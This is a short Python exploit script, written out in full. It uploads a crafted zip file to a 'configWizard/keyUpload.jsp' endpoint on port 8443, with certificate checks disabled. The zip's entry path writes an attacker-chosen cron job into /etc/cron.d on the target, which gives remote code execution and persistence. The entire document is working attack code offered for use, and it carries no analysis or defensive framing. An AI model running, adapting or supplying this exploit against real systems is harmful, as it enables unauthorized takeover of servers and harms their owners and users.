#!/usr/bin/python3 import argparse import requests import zipfile import urllib3 urllib3.disable_warnings() def exploit(target): url = f'https://{target}:8443/configWizard/keyUpload.jsp' r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False) if 'SuccessfulUpload' in r.text: print(f'[+] Payload successfully delivered') def make_zip(payload_file): fullpath = '/etc/cron.d/payload' zf = zipfile.ZipFile('payload.zip', 'w') zf.write(payload_file, fullpath) zf.close() print(f'[+] Wrote {payload_file} to {fullpath}') if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', help='The IP address of the target', required=True) parser.add_argument('-f', '--file', help='The cronjob payload file', required=True) args = parser.parse_args() make_zip(args.file) exploit(args.target)